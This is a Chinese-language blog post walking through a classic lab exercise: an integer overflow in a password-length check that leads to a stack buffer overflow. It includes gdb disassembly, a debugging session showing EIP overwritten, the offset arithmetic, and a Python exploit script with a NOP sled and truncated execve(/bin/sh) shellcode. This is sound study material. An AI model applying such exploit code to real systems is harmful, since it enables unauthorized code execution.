Linux Exploit系列之二 整数溢出

整数溢出

虚拟机安装:Ubuntu 12.04(x86)

什么是整数溢出?

存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代码执行。在这篇文章中,我将仅谈论整数溢出导致堆栈溢出,整数溢出导致堆溢出将在后面的单独的帖子中讨论。

后边的内容复制粘贴好烦,还是说关键点吧!

原文见:https://bbs.pediy.com/thread-216869.htm

这个文章解释的比上一个清楚多了,相信能看懂,唯一不懂的,和上一篇估计一样,还是地址计算的问题

同样是使用gdb 调试:gdb -q vuln

下边解释下我是如何找地址的(虚拟机环境Ubuntu14.04 32位系统,gcc 4.8.2)

首先使用disassemble 查看汇编代码,看看程序的汇编代码布局:

 1 (gdb) disassemble validate_passwd
 2 Dump of assembler code for function validate_passwd:
 3    0x08048507 <+0>:    push   %ebp
 4    0x08048508 <+1>:    mov    %esp,%ebp
 5    0x0804850a <+3>:    sub    $0x28,%esp
 6    0x0804850d <+6>:    mov    0x8(%ebp),%eax
 7    0x08048510 <+9>:    mov    %eax,(%esp)
 8    0x08048513 <+12>:    call   0x80483e0 <strlen@plt>
 9    0x08048518 <+17>:    mov    %al,-0x9(%ebp)
10    0x0804851b <+20>:    cmpb   $0x3,-0x9(%ebp)
11    0x0804851f <+24>:    jbe    0x8048554 <validate_passwd+77>
12    0x08048521 <+26>:    cmpb   $0x8,-0x9(%ebp)
13    0x08048525 <+30>:    ja     0x8048554 <validate_passwd+77>
14    0x08048527 <+32>:    movl   $0x8048670,(%esp)
15    0x0804852e <+39>:    call   0x80483b0 <puts@plt>
16    0x08048533 <+44>:    mov    0x804a040,%eax
17    0x08048538 <+49>:    mov    %eax,(%esp)
18    0x0804853b <+52>:    call   0x8048390 <fflush@plt>
19    0x08048540 <+57>:    mov    0x8(%ebp),%eax
20    0x08048543 <+60>:    mov    %eax,0x4(%esp)
21    0x08048547 <+64>:    lea    -0x14(%ebp),%eax
22    0x0804854a <+67>:    mov    %eax,(%esp)
23    0x0804854d <+70>:    call   0x80483a0 <strcpy@plt>

嗯,发现编译器改动不大,就是将strlen函数直接内嵌了,没有使用函数调用(库函数的惯用做法),不多解释

(gdb) list 看一眼源码,方便下断点

(gdb) b validate_passwd 下断

然后开心的按照作者说的运行

下边是调试步骤

 1 Reading symbols from vuln...done.
 2 (gdb) b validate_passwd
 3 Breakpoint 1 at 0x804850d: file vuln.c, line 14.
 4 (gdb) r sploitfun `python -c 'print "A"*261'`
 5 Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'`
 6 
 7 Breakpoint 1, validate_passwd (
 8     passwd=0xbffff6b6 'A' <repeats 200 times>...) at vuln.c:14
 9 14     unsigned char passwd_len = strlen(passwd); /* [1] */ 
10 (gdb) n        //单步调试,想看看执行到了我们认为的关键的代码没有,很明显这儿还不是关键代码
11 15     if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
12 (gdb) n
13 16      printf("Valid Password\n"); /* [3] */ 
14 (gdb) p passwd_len  //这儿是关键处了,但是如果是正确的话,passwd_len 应该是'A',很可能是程序还没真正执行到
15 $1 = 5 '\005'
16 (gdb) n
17 Valid Password
18 17      fflush(stdout);
19 (gdb) n
20 18      strcpy(passwd_buf,passwd); /* [4] */
21 (gdb) n
22 23     store_passwd_indb(passwd_buf); /* [6] */
23 (gdb) p passwd_len    //好终于到了我们想要的地方了
24 $2 = 65 'A'
25 (gdb) p &passwd_len   //passwd_len的地址,既然利用的是栈,我们在乎的是内存布局
26 $3 = (unsigned char *) 0xbffff46f 'A' <repeats 200 times>...
27 (gdb) p buf        //手误,没有任何原因
28 $4 = 0x0
29 (gdb) n
30 24    }
31 (gdb) p passwd_buf    //passwd_buf的值也对了
32 $5 = 'A' <repeats 11 times>
33 (gdb) p &passwd_buf[0]  //passwd_buf的地址也和我们想象的一样
34 $6 = 0xbffff464 'A' <repeats 200 times>...
35 (gdb) p/x $eip      //很明显还没有被覆盖
36 $7 = 0x8048578
37 (gdb) p/x $ebp      //这个真的不是在凑字数,ebp的地址很重要
38 $8 = 0xbffff478
39 (gdb) n
40 0x41414141 in ?? ()
41 (gdb) p/x $eip      //好,已经覆盖了
42 $9 = 0x41414141
43 (gdb) p/x $ebp
44 $10 = 0x41414141
45 (gdb) 

按照我上边的注释,相信大家对调试过程已经有了一定了解,现在说下地址的计算

$ebp - &passwd_buf[0] +4   = 0x18 = $eip - &passwd_buf[0]

这就是所谓的内存偏移,有了这个,我们的ret_addr就可以算出来了

ret_addr= 0xbffff464 +0x18 + 100

还是老规矩,附上我的exp.python 代码

 1 #exp.py 
 2 #!/usr/bin/env python
 3 import struct
 4 from subprocess import call
 5 
 6 arg1 = "sploitfun"
 7 
 8 #Stack address where shellcode is copied.
 9 ret_addr = 0xbffff4e0
10 
11 #Spawn a shell
12 #execve(/bin/sh)
13 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$
14 
15 #endianess convertion
16 def conv(num):
17  return struct.pack("<I",num)#unk + RA + NOP's + Shellcode
18 arg2 = "A" * 24
19 arg2 += conv(ret_addr);
20 arg2 += "\x90" * 100
21 arg2 += scode
22 arg2 += "C" * 108
23 
24 print "Calling vulnerable program"
25 call(["./vuln", arg1, arg2])

猜你喜欢

转载自www.cnblogs.com/jourluohua/p/8993156.html